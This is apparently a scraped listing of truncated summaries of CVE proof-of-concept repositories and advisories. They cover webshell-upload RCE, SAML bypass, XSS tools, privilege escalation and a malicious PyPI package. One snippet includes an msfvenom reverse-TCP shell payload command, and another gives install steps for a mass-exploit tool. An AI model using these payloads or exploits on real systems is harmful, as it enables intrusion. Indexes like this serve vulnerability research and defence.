CVE-2020-29607-Pluck-CMS-4.7.13-Authenticated-File-Upload-RCE-PoC

CVE-2020-29607 — Pluck CMS Pluck CMS 4.7.13 이전 버전에서 인증된 원격 코드 실행 취약점입니다. 관리자 파일 관리자admin.php?action=files는 파일 확장자를 검증하지 않아 .phar 파일 업로드를 허용하며, Apache는 이를 PHP로 실행합니다. 이 엔드포인트를 통해 웹쉘을 업로드하면 웹 서버 사용자 권한으로 RCE가 발생합니다. 작동 방식 1. 제공된 관리자 비밀번호를 사용하여 인증합니다. 2. 관리자 파일 관리자를 통해 shell.phar로 PHP 웹쉘을 업로드합니다. 3...

CVE-2025-56399

CVE-2025-56399 대량 익스플로잇 CVE-2025-56399 – laravel-file-manager v3.3.1의 원격 코드 실행 취약점. Laravel File Manager의 잘못 구성된 설정을 악용하여 인증 없이 파일 업로드로 PHP 셸을 업로드하고 검증합니다. 설치 저장소 다운로드 git clone https://github.com/im-hanzou/CVE-2025-56399 저장소 폴더로 이동 cd CVE-2025-56399 필요 패키지 설치 pip install -r requirements.txt 사용법...

CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 Build 7 익스플로잇 다음에서 영감을 받음: https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 1단계 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5'...

CVE-2026-25604-PoC

CVE-2026-25604 PoC Apache Airflow의 AWS Auth Manager에서 호스트 헤더 인젝션으로 인한 SAML 인증 우회 공격자는 SAML 로그인 흐름에 악의적인 Host 헤더를 주입하여 Assertion Consumer Service ACS URL이 공격자가 제어하는 서버를 가리키도록 할 수 있습니다. 이를 통해 공격자는 유효한 SAML 응답을 캡처 하고 이를 재전송하여 피해자 Airflow 인스턴스에 무단 액세스 를 얻거나, 액세스 제어가 다른 여러 Airflow 인스턴스 간에 토큰을 재사용할 수...

aem-xss

배지 라이선스 MIT 설치 1. Python3 및 pip 설치 여기에서 지침 확인 이것도 해결할 수 없다면, 이 도구를 사용하면 안 됩니다 pip로 설치 pip install aem-xss 확인을 위해 아래 명령어를 실행하세요 aem-xss -h 구성 2. 취약점 탐지에 대한 즉시 알림을 받기 위해 Telegram API를 통합했습니다. 텔레그램 알림 aem-xss --chatid 텔레그램을 열고 @CappricioSecuritiesToolsbot을를 검색한 다음 시작을 클릭하세요 사용 방법 3. 이 도구는 여러 가지 사용 사...

CVE-2026-1937

🔴 취약점 개요 CVE-2026-1937 — 권한 검증 누락 → 임의 옵션 업데이트 → 권한 상승 항목| 세부 정보 ---|--- CVE ID| CVE-2026-1937 심각도| 높음HIGH — CVSS v3.1 점수: 7.2 벡터| CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H CNA| Wordfence 연구자| Daniel Basta whizzu — NASK PIB 공개 발표일| 2026년 2월 17일 최종 업데이트일| 2026년 3월 27일 영향받는 소프트웨어| YayMail –...

CVE-2009-3036

CVE-2009-3036 SpeeDr00t@Black Falcon bid38241 Symantec IM Manager 콘솔 HTML 인젝션 취약점 정보 토론 익스플로잇 해결책 참조 Bugtraq ID: | 38241 ---|--- 클래스: | 입력 검증 오류 CVE: | CVE-2009-3036 원격: | 예 로컬: | 아니오 게시일: | Feb 18 2010 12:00AM 업데이트일: | Feb 18 2010 12:00AM 크레딧: | Rafael B. Brinhosa 취약한: | Symantec IM Manager 8.4...

CVE-2025-63946-Tencent-PC-Manager-EoP

CVE-2025-63946 Tencent PC Manager 권한 상승EoP 버전: PCManager 버전 17.10.28554.205 이하 요약: Tencent PC Manager에서 C:\Windows\Temp 디렉터리 아래의 파일과 디렉터리가 안전하지 않게 처리되는 취약점을 발견했습니다. 공격자는 심볼릭 링크symlink 공격을 활용하여 SYSTEM 권한의 프로세스가 임의의 파일을 삭제하도록 강제하고, 이를 통해 로컬 권한 상승을 달성할 수 있습니다. 검사 과정에서 NT AUTHORITY\SYSTEM 권한으로 실행되는...

CVE-2026-20805-PoC

🛡️ AI Security Tool Module CVE-2026-20805: Desktop Window Manager dwm.exe Memory Disclosure Official Security Audit Module for AI Security Tool Ecosystem 🌐 Web Demo • 📚 Project Website • 💬 Community Chat Website Navigation: Home • Updates • Downloads • Modules 🧠 Conceptual Overview This module...

CVE-2023-4861-PoC

CVE-2023-4861 PoC このリポジトリには、WordPressプラグイン File Manager Pro - Filester における 認証済みリモートコード実行 の問題である CVE-2023-4861 のPython概念実証コードが含まれています。 脆弱性の概要 CVE: CVE-2023-4861 製品: File Manager Pro - Filester filester 影響を受けるバージョン: 1.8.1 修正済みバージョン: 1.8.1 脆弱性の分類: 認証済みの任意ファイルアップロードによるRCE 必要な権限: Filesterでの Admin+...

CVE-2026-26211

-orange?style=for-the-badge&logo=owasp CVE-2026-26211: Stored XSS in Ekushey Project Manager CRM Product: Ekushey Project Manager CRM Version: 5.0 Vulnerability: Stored Cross-Site Scripting XSS CWE: CWE-79 Researcher: LINDAN TRI SAPUTRA Initial Report: August 1, 2026 Summary A stored Cross-Site...

MAL-2026-17421 Malicious code in spo365-graph (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 091649f7b927b27a5bd7a35b53784433050bf58e0dc11acc95316b650a13f60b SPO365-GRAPH presents itself as a SharePoint Online Graph client, but the shipped library module SPO365GRAPH/SPO365GRAPH.py consists entirely of stub...

WordPress MultiVendorX – WooCommerce Multivendor Marketplace AI Powered Solutions plugin <= 5.0.18 - Authenticated (Store Manager+) SQL Injection vulnerability

Authenticated Store Manager+ SQL Injection vulnerability discovered by Wordfence PRISM in WordPress Plugin MultiVendorX versions = 5.0.18...

CVE-2026-47574

A flaw was found in the NVIDIA Virtual GPU vGPU Manager for Linux. A local user with basic privileges can exploit an incorrect transfer of resources across isolation spheres. Successful exploitation could allow an attacker to execute arbitrary code, escalate privileges, cause a denial of service...

CVE-2026-47519

A flaw was found in nvidia-vgpu-software's Virtual GPU vGPU Manager for Linux. A local user with basic privileges can trigger an out-of-bounds read in the kernel-mode driver, accessing memory outside designated boundaries. A successful exploit could allow the attacker to execute arbitrary code,...

JupyterLab: Argument injection in JupyterLab extension uninstall exposes server-readable files and internal URLs

JupyterLab's PyPI extension manager runs python -m pip uninstall with the extension name taken from the request body. ExtensionHandler.post validates the name for cmd=install but not for cmd=uninstall, so a name that begins with - reaches the command line and pip reads it as an option rather than...

PYSEC-2026-4055 JupyterLab: Argument injection in JupyterLab extension uninstall exposes server-readable files and internal URLs

JupyterLab's PyPI extension manager runs python -m pip uninstall with the extension name taken from the request body. ExtensionHandler.post validates the name for cmd=install but not for cmd=uninstall, so a name that begins with - reaches the command line and pip reads it as an option rather than...

CVE-2026-79896

Fortra BoKS Manager contains an out-of-bounds read vulnerability in the custom TLS ClientHello parser used by boksportmux. A remote unauthenticated attacker can submit a malformed ClientHello and terminate boksportmux. Although the daemon is normally restarted automatically, repeated requests can...

CVE-2026-12627

Fortra's Core Privileged Access Manager BoKS contains a stack-based buffer overflow vulnerability in boksautoregisterd. A remote attacker with network access to the autoregistration service may be able to trigger memory corruption during client response processing...

CVE-2026-12627 Fortra's Core Privileged Access Manager (BoKS) autoregistration stack buffer overflow vulnerability

Fortra's Core Privileged Access Manager BoKS contains a stack-based buffer overflow vulnerability in boksautoregisterd. A remote attacker with network access to the autoregistration service may be able to trigger memory corruption during client response processing...